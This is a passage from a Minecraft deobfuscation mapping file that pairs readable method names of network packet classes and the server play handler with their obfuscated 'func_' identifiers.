net/minecraft/network/play/server/S1DPacketEntityEffect/func_179707_f ()Z +MD: net/minecraft/network/play/INetHandlerPlayServer/processTabComplete (Lnet/minecraft/network/play/client/C14PacketTabComplete;)V net/minecraft/network/play/INetHandlerPlayServer/func_147341_a (Lnet/minecraft/network/play/client/C14PacketTabComplete;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processChatMessage (Lnet/minecraft/network/play/client/C01PacketChatMessage;)V net/minecraft/network/play/INetHandlerPlayServer/func_147354_a (Lnet/minecraft/network/play/client/C01PacketChatMessage;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processClientStatus (Lnet/minecraft/network/play/client/C16PacketClientStatus;)V net/minecraft/network/play/INetHandlerPlayServer/func_147342_a (Lnet/minecraft/network/play/client/C16PacketClientStatus;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processClientSettings (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V net/minecraft/network/play/INetHandlerPlayServer/func_147352_a (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processConfirmTransaction (Lnet/minecraft/network/play/client/C0FPacketConfirmTransaction;)V net/minecraft/network/play/INetHandlerPlayServer/func_147339_a (Lnet/minecraft/network/play/client/C0FPacketConfirmTransaction;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processEnchantItem (Lnet/minecraft/network/play/client/C11PacketEnchantItem;)V net/minecraft/network/play/INetHandlerPlayServer/func_147338_a (Lnet/minecraft/network/play/client/C11PacketEnchantItem;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processClickWindow (Lnet/minecraft/network/play/client/C0EPacketClickWindow;)V net/minecraft/network/play/INetHandlerPlayServer/func_147351_a (Lnet/minecraft/network/play/client/C0EPacketClickWindow;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processCloseWindow (Lnet/minecraft/network/play/client/C0DPacketCloseWindow;)V net/minecraft/network/play/INetHandlerPlayServer/func_147356_a (Lnet/minecraft/network/play/client/C0DPacketCloseWindow;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processVanilla250Packet (Lnet/minecraft/network/play/client/C17PacketCustomPayload;)V net/minecraft/network/play/INetHandlerPlayServer/func_147349_a (Lnet/minecraft/network/play/client/C17PacketCustomPayload;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processUseEntity (Lnet/minecraft/network/play/client/C02PacketUseEntity;)V net/minecraft/network/play/INetHandlerPlayServer/func_147340_a (Lnet/minecraft/network/play/client/C02PacketUseEntity;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processKeepAlive (Lnet/minecraft/network/play/client/C00PacketKeepAlive;)V net/minecraft/network/play/INetHandlerPlayServer/func_147353_a (Lnet/minecraft/network/play/client/C00PacketKeepAlive;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processPlayer (Lnet/minecraft/network/play/client/C03PacketPlayer;)V net/minecraft/network/play/INetHandlerPlayServer/func_147347_a (Lnet/minecraft/network/play/client/C03PacketPlayer;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processPlayerAbilities (Lnet/minecraft/network/play/client/C13PacketPlayerAbilities;)V net/minecraft/network/play/INetHandlerPlayServer/func_147348_a (Lnet/minecraft/network/play/client/C13PacketPlayerAbilities;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processPlayerDigging (Lnet/minecraft/network/play/client/C07PacketPlayerDigging;)V net/minecraft/network/play/INetHandlerPlayServer/func_147345_a (Lnet/minecraft/network/play/client/C07PacketPlayerDigging;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processEntityAction (Lnet/minecraft/network/play/client/C0BPacketEntityAction;)V net/minecraft/network/play/INetHandlerPlayServer/func_147357_a (Lnet/minecraft/network/play/client/C0BPacketEntityAction;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processInput (Lnet/minecraft/network/play/client/C0CPacketInput;)V net/minecraft/network/play/INetHandlerPlayServer/func_147358_a (Lnet/minecraft/network/play/client/C0CPacketInput;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/handleResourcePackStatus (Lnet/minecraft/network/play/client/C19PacketResourcePackStatus;)V net/minecraft/network/play/INetHandlerPlayServer/func_175086_a (Lnet/minecraft/network/play/client/C19PacketResourcePackStatus;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processHeldItemChange (Lnet/minecraft/network/play/client/C09PacketHeldItemChange;)V net/minecraft/network/play/INetHandlerPlayServer/func_147355_a (Lnet/minecraft/network/play/client/C09PacketHeldItemChange;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processCreativeInventoryAction (Lnet/minecraft/network/play/client/C10PacketCreativeInventoryAction;)V net/minecraft/network/play/INetHandlerPlayServer/func_147344_a (Lnet/minecraft/network/play/client/C10PacketCreativeInventoryAction;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processUpdateSign (Lnet/minecraft/network/play/client/C12PacketUpdateSign;)V net/minecraft/network/play/INetHandlerPlayServer/func_147343_a (Lnet/minecraft/network/play/client/C12PacketUpdateSign;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/handleAnimation (Lnet/minecraft/network/play/client/C0APacketAnimation;)V net/minecraft/network/play/INetHandlerPlayServer/func_175087_a (Lnet/minecraft/network/play/client/C0APacketAnimation;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/handleSpectate (Lnet/minecraft/network/play/client/C18PacketSpectate;)V net/minecraft/network/play/INetHandlerPlayServer/func_175088_a (Lnet/minecraft/network/play/client/C18PacketSpectate;)V +MD: net/minecraft/network/play/INetHandlerPlayServer/processPlayerBlockPlacement (Lnet/minecraft/network/play/client/C08PacketPlayerBlockPlacement;)V net/minecraft/network/play/INetHandlerPlayServer/func_147346_a (Lnet/minecraft/network/play/client/C08PacketPlayerBlockPlacement;)V +MD: net/minecraft/network/play/client/C14PacketTabComplete/getMessage ()Ljava/lang/String; net/minecraft/network/play/client/C14PacketTabComplete/func_149419_c ()Ljava/lang/String; +MD: net/minecraft/network/play/client/C14PacketTabComplete/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C14PacketTabComplete/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C14PacketTabComplete/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C14PacketTabComplete/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C14PacketTabComplete/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C14PacketTabComplete/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C14PacketTabComplete/getTargetBlock ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/client/C14PacketTabComplete/func_179709_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/client/C14PacketTabComplete/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C14PacketTabComplete/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C01PacketChatMessage/getMessage ()Ljava/lang/String; net/minecraft/network/play/client/C01PacketChatMessage/func_149439_c ()Ljava/lang/String; +MD: net/minecraft/network/play/client/C01PacketChatMessage/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C01PacketChatMessage/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C01PacketChatMessage/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C01PacketChatMessage/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C01PacketChatMessage/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C01PacketChatMessage/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C01PacketChatMessage/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C01PacketChatMessage/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C16PacketClientStatus$EnumState/values ()[Lnet/minecraft/network/play/client/C16PacketClientStatus$EnumState; net/minecraft/network/play/client/C16PacketClientStatus$EnumState/values ()[Lnet/minecraft/network/play/client/C16PacketClientStatus$EnumState; +MD: net/minecraft/network/play/client/C16PacketClientStatus/getStatus ()Lnet/minecraft/network/play/client/C16PacketClientStatus$EnumState; net/minecraft/network/play/client/C16PacketClientStatus/func_149435_c ()Lnet/minecraft/network/play/client/C16PacketClientStatus$EnumState; +MD: net/minecraft/network/play/client/C16PacketClientStatus/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C16PacketClientStatus/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C16PacketClientStatus/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C16PacketClientStatus/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C16PacketClientStatus/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C16PacketClientStatus/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C16PacketClientStatus/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C16PacketClientStatus/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C15PacketClientSettings/getLang ()Ljava/lang/String; net/minecraft/network/play/client/C15PacketClientSettings/func_149524_c ()Ljava/lang/String; +MD: net/minecraft/network/play/client/C15PacketClientSettings/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C15PacketClientSettings/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C15PacketClientSettings/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C15PacketClientSettings/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C15PacketClientSettings/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C15PacketClientSettings/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C15PacketClientSettings/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C15PacketClientSettings/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C15PacketClientSettings/getChatVisibility ()Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; net/minecraft/network/play/client/C15PacketClientSettings/func_149523_e ()Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; +MD: net/minecraft/network/play/client/C15PacketClientSettings/isColorsEnabled ()Z net/minecraft/network/play/client/C15PacketClientSettings/func_149520_f ()Z +MD: net/minecraft/network/play/client/C15PacketClientSettings/getModelPartFlags ()I net/minecraft/network/play/client/C15PacketClientSettings/func_149521_d ()I +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/getWindowId ()I net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_149532_c ()I +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/getUid ()S net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_149533_d ()S +MD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0FPacketConfirmTransaction/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C11PacketEnchantItem/getWindowId ()I net/minecraft/network/play/client/C11PacketEnchantItem/func_149539_c ()I +MD: net/minecraft/network/play/client/C11PacketEnchantItem/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C11PacketEnchantItem/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C11PacketEnchantItem/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C11PacketEnchantItem/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C11PacketEnchantItem/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C11PacketEnchantItem/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C11PacketEnchantItem/getButton ()I net/minecraft/network/play/client/C11PacketEnchantItem/func_149537_d ()I +MD: net/minecraft/network/play/client/C11PacketEnchantItem/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C11PacketEnchantItem/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getWindowId ()I net/minecraft/network/play/client/C0EPacketClickWindow/func_149548_c ()I +MD: net/minecraft/network/play/client/C0EPacketClickWindow/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0EPacketClickWindow/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0EPacketClickWindow/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C0EPacketClickWindow/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0EPacketClickWindow/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0EPacketClickWindow/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getSlotId ()I net/minecraft/network/play/client/C0EPacketClickWindow/func_149544_d ()I +MD: net/minecraft/network/play/client/C0EPacketClickWindow/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0EPacketClickWindow/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getUsedButton ()I net/minecraft/network/play/client/C0EPacketClickWindow/func_149543_e ()I +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getActionNumber ()S net/minecraft/network/play/client/C0EPacketClickWindow/func_149547_f ()S +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getClickedItem ()Lnet/minecraft/item/ItemStack; net/minecraft/network/play/client/C0EPacketClickWindow/func_149546_g ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/client/C0EPacketClickWindow/getMode ()I net/minecraft/network/play/client/C0EPacketClickWindow/func_149542_h ()I +MD: net/minecraft/network/play/client/C0DPacketCloseWindow/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0DPacketCloseWindow/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0DPacketCloseWindow/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C0DPacketCloseWindow/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C0DPacketCloseWindow/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C0DPacketCloseWindow/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C0DPacketCloseWindow/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0DPacketCloseWindow/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C17PacketCustomPayload/getChannelName ()Ljava/lang/String; net/minecraft/network/play/client/C17PacketCustomPayload/func_149559_c ()Ljava/lang/String; +MD: net/minecraft/network/play/client/C17PacketCustomPayload/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C17PacketCustomPayload/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C17PacketCustomPayload/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C17PacketCustomPayload/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C17PacketCustomPayload/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C17PacketCustomPayload/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C17PacketCustomPayload/getBufferData ()Lnet/minecraft/network/PacketBuffer; net/minecraft/network/play/client/C17PacketCustomPayload/func_180760_b ()Lnet/minecraft/network/PacketBuffer; +MD: net/minecraft/network/play/client/C17PacketCustomPayload/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C17PacketCustomPayload/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C02PacketUseEntity$Action/values ()[Lnet/minecraft/network/play/client/C02PacketUseEntity$Action; net/minecraft/network/play/client/C02PacketUseEntity$Action/values ()[Lnet/minecraft/network/play/client/C02PacketUseEntity$Action; +MD: net/minecraft/network/play/client/C02PacketUseEntity/getAction ()Lnet/minecraft/network/play/client/C02PacketUseEntity$Action; net/minecraft/network/play/client/C02PacketUseEntity/func_149565_c ()Lnet/minecraft/network/play/client/C02PacketUseEntity$Action; +MD: net/minecraft/network/play/client/C02PacketUseEntity/getEntityFromWorld (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/client/C02PacketUseEntity/func_149564_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/client/C02PacketUseEntity/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C02PacketUseEntity/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C02PacketUseEntity/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C02PacketUseEntity/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C02PacketUseEntity/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C02PacketUseEntity/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C02PacketUseEntity/getHitVec ()Lnet/minecraft/util/Vec3; net/minecraft/network/play/client/C02PacketUseEntity/func_179712_b ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/network/play/client/C02PacketUseEntity/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C02PacketUseEntity/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C00PacketKeepAlive/getKey ()I net/minecraft/network/play/client/C00PacketKeepAlive/func_149460_c ()I +MD: net/minecraft/network/play/client/C00PacketKeepAlive/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C00PacketKeepAlive/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C00PacketKeepAlive/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C00PacketKeepAlive/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C00PacketKeepAlive/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C00PacketKeepAlive/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C00PacketKeepAlive/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C00PacketKeepAlive/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C04PacketPlayerPosition/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C06PacketPlayerPosLook/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer$C05PacketPlayerLook/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer/getPositionX ()D net/minecraft/network/play/client/C03PacketPlayer/func_149464_c ()D +MD: net/minecraft/network/play/client/C03PacketPlayer/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C03PacketPlayer/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C03PacketPlayer/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C03PacketPlayer/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer/setMoving (Z)V net/minecraft/network/play/client/C03PacketPlayer/func_149469_a (Z)V +MD: net/minecraft/network/play/client/C03PacketPlayer/getPositionY ()D net/minecraft/network/play/client/C03PacketPlayer/func_149467_d ()D +MD: net/minecraft/network/play/client/C03PacketPlayer/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C03PacketPlayer/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C03PacketPlayer/getPositionZ ()D net/minecraft/network/play/client/C03PacketPlayer/func_149472_e ()D +MD: net/minecraft/network/play/client/C03PacketPlayer/getYaw ()F net/minecraft/network/play/client/C03PacketPlayer/func_149462_g ()F +MD: net/minecraft/network/play/client/C03PacketPlayer/getPitch ()F net/minecraft/network/play/client/C03PacketPlayer/func_149470_h ()F +MD: net/minecraft/network/play/client/C03PacketPlayer/isOnGround ()Z net/minecraft/network/play/client/C03PacketPlayer/func_149465_i ()Z +MD: net/minecraft/network/play/client/C03PacketPlayer/isMoving ()Z net/minecraft/network/play/client/C03PacketPlayer/func_149466_j ()Z +MD: net/minecraft/network/play/client/C03PacketPlayer/getRotating ()Z net/minecraft/network/play/client/C03PacketPlayer/func_149463_k ()Z +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/isInvulnerable ()Z net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149494_c ()Z +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setFlySpeed (F)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149485_a (F)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setInvulnerable (Z)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149490_a (Z)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/isFlying ()Z net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149488_d ()Z +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setWalkSpeed (F)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149492_b (F)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setFlying (Z)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149483_b (Z)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/isAllowFlying ()Z net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149486_e ()Z +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setAllowFlying (Z)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149491_c (Z)V +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/isCreativeMode ()Z net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149484_f ()Z +MD: net/minecraft/network/play/client/C13PacketPlayerAbilities/setCreativeMode (Z)V net/minecraft/network/play/client/C13PacketPlayerAbilities/func_149493_d (Z)V +MD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/values ()[Lnet/minecraft/network/play/client/C07PacketPlayerDigging$Action; net/minecraft/network/play/client/C07PacketPlayerDigging$Action/values ()[Lnet/minecraft/network/play/client/C07PacketPlayerDigging$Action; +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/client/C07PacketPlayerDigging/func_179715_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C07PacketPlayerDigging/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/client/C07PacketPlayerDigging/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/processPacket (Lnet/minecraft/network/play/INetHandlerPlayServer;)V net/minecraft/network/play/client/C07PacketPlayerDigging/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayServer;)V +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/getFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/network/play/client/C07PacketPlayerDigging/func_179714_b ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C07PacketPlayerDigging/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C07PacketPlayerDigging/getStatus ()Lnet/minecraft/network/play/client/C07PacketPlayerDigging$Action; net/minecraft/network/play/client/C07PacketPlayerDigging/func_180762_c ()Lnet/minecraft/network/play/client/C07PacketPlayerDigging$Action; +MD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/values ()[Lnet/minecraft/network/play/client/C0BPacketEntityAction$Action; net/minecraft/network/play/client/C0BPacketEntityAction$Action/values ()[Lnet/minecraft/network/play/client/C0BPacketEntityAction$Action; +MD: net/minecraft/network/play/client/C0BPacketEntityAction/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/client/C0BPacketEntityAction/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/client/C0BPacketEntityAction/processPacket (Lnet/minecraft/network/INetHandler;)V 